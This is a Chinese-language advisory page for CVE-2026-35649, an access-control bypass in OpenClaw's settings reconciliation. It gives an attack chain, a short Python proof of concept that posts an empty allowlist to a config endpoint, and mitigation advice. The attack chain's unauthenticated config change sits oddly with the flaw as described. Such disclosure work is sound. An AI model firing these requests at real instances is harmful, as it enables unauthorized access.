IPBUF安全漏洞报告
English
CVE-2026-35649 CVSS 6.5 中危

CVE-2026-35649 OpenClaw设置协调绕过漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-35649
漏洞类型
访问控制绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

访问控制绕过逻辑漏洞OpenClawCVE-2026-35649

漏洞概述

OpenClaw 2026.3.22之前版本存在设置协调漏洞。攻击者可利用空允许列表的处理缺陷,绕过预期的拒绝所有撤销策略。系统将显式的空允许列表视为未设置,导致静默撤销访问控制拒绝并恢复之前被撤销的权限,造成未授权访问。

技术细节

该漏洞源于OpenClaw在处理设置 reconciliation(协调)过程中的逻辑缺陷。当管理员尝试通过配置显式的空允许列表来撤销用户的特定访问权限时,系统未能正确区分“显式设置为空”与“配置项未定义”这两种状态。在执行协调逻辑时,程序错误地将显式的空允许列表判定为未配置状态。根据其默认处理机制,未配置状态往往会回退到默认策略或保留原有权限,从而导致原本意图进行的“拒绝所有”操作失效。攻击者可利用此逻辑漏洞,无需任何用户交互或认证,即可绕过访问控制限制,恢复已被撤销的读写权限,对系统机密性和完整性构成威胁。

攻击链分析

STEP 1
1. 侦察
识别目标OpenClaw实例,确认其版本低于2026.3.22。
STEP 2
2. 发起配置变更
向配置接口发送请求,将允许列表设置为显式的空列表([])。
STEP 3
3. 触发协调逻辑
系统处理配置更新,执行设置 reconciliation 逻辑。
STEP 4
4. 逻辑漏洞触发
系统将空列表误判为“未设置”,默认恢复之前撤销的权限。
STEP 5
5. 未授权访问
攻击者成功绕过拒绝策略,重新获得对敏感资源的访问权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # PoC for CVE-2026-35649: OpenClaw Settings Reconciliation Bypass # This script demonstrates triggering the vulnerability by setting an empty allowlist. def exploit(target_url): headers = {"Content-Type": "application/json"} # Payload containing an explicit empty allowlist # The application treats this as 'unset' during reconciliation payload = { "allowlist": [], "setting_type": "access_control" } try: print(f"[*] Sending empty allowlist payload to {target_url}") response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Configuration accepted. Check if access is restored.") # Verify access by attempting to access a previously revoked endpoint verify = requests.get(f"{target_url}/protected/data") if verify.status_code == 200: print("[+] Exploit successful: Access control bypassed.") else: print("[-] Exploit failed: Access still denied.") else: print(f"[-] Request failed with status code {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://localhost:8080/api/config" exploit(target)

影响范围

OpenClaw < 2026.3.22

防御指南

临时缓解措施
建议立即升级至修复版本。若无法立即升级,应严格监控系统配置变更日志,特别关注允许列表的修改操作,并在应用防火墙层面增加对异常配置请求的拦截。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表